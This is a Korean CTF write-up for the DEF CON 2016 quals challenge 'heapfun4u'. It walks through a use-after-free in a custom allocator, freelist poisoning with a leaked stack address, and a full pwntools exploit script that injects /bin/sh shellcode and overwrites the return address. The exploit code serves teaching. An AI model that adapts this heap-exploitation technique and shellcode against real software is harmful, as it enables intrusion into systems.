Table of Contents
Introduction #
본 문제는 use-after-free (UAF)를 사용하여 커스텀 메모리 할당자의 freelist를 조작하여 스택을 할당하고 쉘을 얻을 수 있는지 묻는 문제이다.
주어진 커스텀 할당자는 메모리 블록에 header와 footer를 두고, header에 크기, footer에 연결 리스트 정보를 기록한다. 그리고 특정 조건에서 연결 리스트 정보를 freelist로 사용한다. 이때 스택 주소를 얻을 수 있는 명령어룰 문제에서 제공하므로 freelist를 조작하여 스택 영역 메모리를 할당받을 수 있다. 게다가 이 할당자가 얻는 메뫼리에는 실행 권한이 포함되어 있기 때문에 정상적으로 얻은 메모리에 쉘 코드를 쓰고 이 주소로 리턴 주소를 덮어쓰면 풀 수 있다.
이 문제의 소스 코드는 깃허브에 올려져 있는 자료를 참고하면 된다[1, 2].
Vulnerability #
주어진 소스 코드 중 heapfun4u.c 파일을 보면 할당된 메모리가 기록된 array 배열의 원소를 해제된 후에도 그 값을 유지하여 UAF가 가능함을 알 수 있다.
1#include <stdio.h>
2#include <string.h>
3#include "dc_malloc.h"
4
5void *array[100];
6int array_sz[100];
7int c;
8
9void print_array()
10{
11 int i =0;
12
13 for ( i = 0; i < 100; i++) {
14 if ( array[i] == NULL ) {
15 continue;
16 }
17
18 printf("%d) %p -- %d\n", i+1, array[i], array_sz[i]);
19 }
20
21 return;
22}
23
24void name( void )
25{
26 int hello;
27
28 printf("Here you go: %p\n", &hello);
29
30 return;
31}
32
33void wb( )
34{
35 char stuff[16];
36 int sel = 0;
37
38 print_array();
39
40 printf("Write where: ");
41 if ( read( 0, stuff, 15) <= 0 ) {
42 exit(0);
43 }
44
45 sel = atoi(stuff) - 1;
46
47 if ( sel < 0 || sel >= 100 ) {
48 exit(0);
49 }
50
51 if ( !array[sel] ) {
52 exit(0);
53 }
54
55 printf("Write what: ");
56
57 if ( read( 0, array[sel], array_sz[sel]) <= 0 ) {
58 exit(0);
59 }
60
61
62 return;
63}
64
65int main()
66{
67 memset( array, 0, sizeof(void*) * 100);
68 c = 0;
69 int sel = 0;
70 char yo[256];
71
72 setvbuf( stdin, NULL, _IONBF, 0 );
73 setvbuf( stdout, NULL, _IONBF, 0 );
74
75 while ( 1 ) {
76 printf("[A]llocate Buffer\n");
77 printf("[F]ree Buffer\n");
78 printf("[W]rite Buffer\n");
79 printf("[N]ice guy\n");
80 printf("[E]xit\n");
81 printf("| ");
82
83 if ( read( 0, yo, 255) <= 0 ) {
84 exit(0);
85 }
86
87 switch( yo[0] ) {
88 case 'A':
89 if ( c == 100) {
90 exit(0);
91 }
92
93 printf("Size: ");
94
95 if ( read(0,yo, 255) <= 0 ) {
96 exit(0);
97 }
98
99 sel = atoi( yo );
100 array[c] = dc_malloc(sel);
101 array_sz[c] = sel;
102
103 if ( !array[c] ) {
104 exit(0);
105 }
106
107 c++;
108
109 break;
110 case 'F':
111 print_array();
112 printf("Index: ");
113
114 if ( read( 0, yo, 256) <= 0 ) {
115 exit(0);
116 }
117
118 sel = atoi(yo) - 1;
119
120 if ( sel < 0 || sel >=100) {
121 exit(0);
122 }
123
124 if ( array[sel] ) {
125 dc_free( array[sel] );
126 } else {
127 exit(0);
128 }
129
130 break;
131 case 'W':
132 wb();
133 break;
134 case 'N':
135 name();
136 break;
137 case 'E':
138 printf("Leave\n");
139 return 0;
140 default:
141 exit(0);
142 break;
143 };
144 }
145
146 return 0;
147}
Exploit #
주어진 dc_malloc은 메모리 블록에 다음과 같이 header와 footer를 둔다.
1typedef struct m_header {
2 /// 8 byte aligned so 3 bits for flags
3 unsigned long size;
4} m_header, *pm_header;
5
6typedef struct m_footer {
7 m_header *pNext;
8 m_header *pPrev;
9} m_footer, *pm_footer;
그리고 메모리 관리자 타입을 다음과 같이 정의한다.
1typedef struct m_manager {
2 void *free_list;
3} m_manager, *pm_manager;
Freelist는 전역 변수로 관리되며, dc_malloc 함수 구현을 보면 특정 조건에서 메모리 블록의 footer로 그 값을 정한다 ({1}).
1void *dc_malloc( unsigned int size )
2{
3 void *freeWalker = NULL;
4 void *final_alloc = NULL;
5 void *new_block = NULL;
6 unsigned int size_left = 0;
7
8 pm_header thdr;
9 pm_footer tftr;
10 pm_header header_new_block;
11 pm_footer footer_new_block;
12
13 /// Each block needs to be a least the size of the footer structure
14 if ( size < sizeof( m_footer ) ) {
15 size = sizeof(m_footer);
16 }
17
18 /// Align to 8 bytes
19 if ( size % 8 ) {
20 size = ( size >> 3 ) + 1;
21 size <<= 3;
22 }
23
24 freeWalker = memman_g.free_list;
25
26 while ( 1 ) {
27 if ( freeWalker == NULL ) {
28 freeWalker = add_free_block( size );
29 }
30
31 thdr = (pm_header)freeWalker;
32 tftr = BLOCK_FOOTER( freeWalker );
33
34 /// Check if the current block is large enough to fulfill the request
35 /// If so then downsize as needed
36 if ( ( thdr->size & ~3) >= size ) {
37 final_alloc = freeWalker + sizeof(pm_header);
38
39 size_left = (thdr->size& ~3) - size;
40
41 /// Set the in use flag
42 thdr->size |= 1;
43
44 // If there is room then create a new block
45 if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {
46 /* ... */
47 } else {
48
49 /// Just unlink and return this one
50 if ( freeWalker == memman_g.free_list ) {
51 memman_g.free_list = tftr->pNext; /* {1} */
52
53 if ( memman_g.free_list ) {
54 tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
55 tftr->pPrev = NULL;
56 }
57
58 } else {
59 /* ... */
60 }
61 }
62
63 /// Fix ups are done. Return the allocation
64 return final_alloc;
65 }
66
67 freeWalker = (void*)tftr->pNext;
68
69 }
70}
이때 BLOCK_FOOTER() 매크로의 정의를 보면 알 수 있듯이, {1}에서의 pNext 멤버는 유효한 주소이어야만 하고, 적절한 크기값을 담은 주소여야만 한다.
1#define BLOCK_FOOTER( block ) ((pm_footer)( ((char *)block) + (( ( ((pm_header)block)->size & ~3) + sizeof(m_header) ) - sizeof( m_footer))))
그럼 상기 name 함수로 스택 주소를 얻고 적당한 스택 주소를 해제된 메모리 footer의 pNext 멤버에 둔다면 그 다음 할당에서 그 주소가 memman_g.freelist로 들어갈 것이다. 그럼 그 다음 할당에서 스택 주소를 얻을 수 있다. 이때 스택 주소는 메모리 블록을 할당할 때 메모리 크기를 입력받는 버퍼의 주소를 쓰는데, 그 주소에 2를 더한 값을 쓴다. 그 이유는 "128\n"을 입력했을 때 "8\n"을 크기 값으로, 즉 0x0a38을 쓰게되어 리턴 주소를 덮어쓰기에 충분하면서도 세그멘테이션 폴트를 발생시키지 않기 때문이다. 이 방법에는 별도의 추가 입력이 필요하지 않기도 하다. 이렇게 스택을 할당받았다면 다음은 또다른 메모리 블록에 쉘 코드를 쓰고 그 블록으로 점프하도록 리턴 주소를 덮어쓰는 것이다. 지금까지 설명한 것을 코드로 작성하면 다음과 같다.
1from pwn import *
2import time
3
4r = process("./heapfun4u")
5
6def allocate(r, size):
7 r.sendlineafter(b"| ", b'A')
8 r.sendlineafter(b": ", size)
9
10def free(r, mem_index):
11 r.sendlineafter(b"| ", b'F')
12 r.sendlineafter(b": ", mem_index)
13
14def write(r, mem_index, data, add_nl):
15 r.sendlineafter(b"| ", b'W')
16 r.sendafter(b": ", mem_index)
17
18 if add_nl:
19 r.sendlineafter(b": ", data)
20 else:
21 r.sendafter(b": ", data)
22
23def get_stack(r):
24 r.sendlineafter(b"| ", b'N')
25 line = r.recvline()
26 stack = int(line[len(b"Here you go: "):-1], 16)
27 print(hex(stack))
28 return stack
29
30def exit(r):
31 r.sendlineafter(b"| ", b'E')
32
33def main():
34 stack = get_stack(r)
35 fake_block = stack + 0x14 + 0x2
36 main_ret_off = 0x11e
37
38 print(hex(fake_block))
39
40 allocate(r, b"128")
41 allocate(r, b"128")
42 free(r, b'1')
43
44 payload = b'A' * 0x70
45 payload += p64(fake_block)
46 write(r, b"1", payload, False)
47
48 allocate(r, b"128")
49 time.sleep(1)
50 allocate(r, b"304")
51
52 r.sendlineafter(b"| ", b'W')
53 heap = int(r.recvline()[3:17], 16)
54 print(hex(heap))
55 r.sendlineafter(b": ", b'1')
56 payload = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05\x90\x90"
57 r.sendafter(b": ", payload)
58
59 payload = b'A' * main_ret_off
60 payload += p64(heap)
61 write(r, b'4', payload, False)
62
63 exit(r)
64
65 r.interactive()
66
67main()
References #
- "DEF CON Capture the Flag 2016." legitbs.net, Accessed: May. 04, 2026. [Online]. Available: https://legitbs.net/2016/
- legitbs, "creative commons." github.com, Accessed: May. 04, 2026. [Online]. Available: https://github.com/legitbs/quals-2016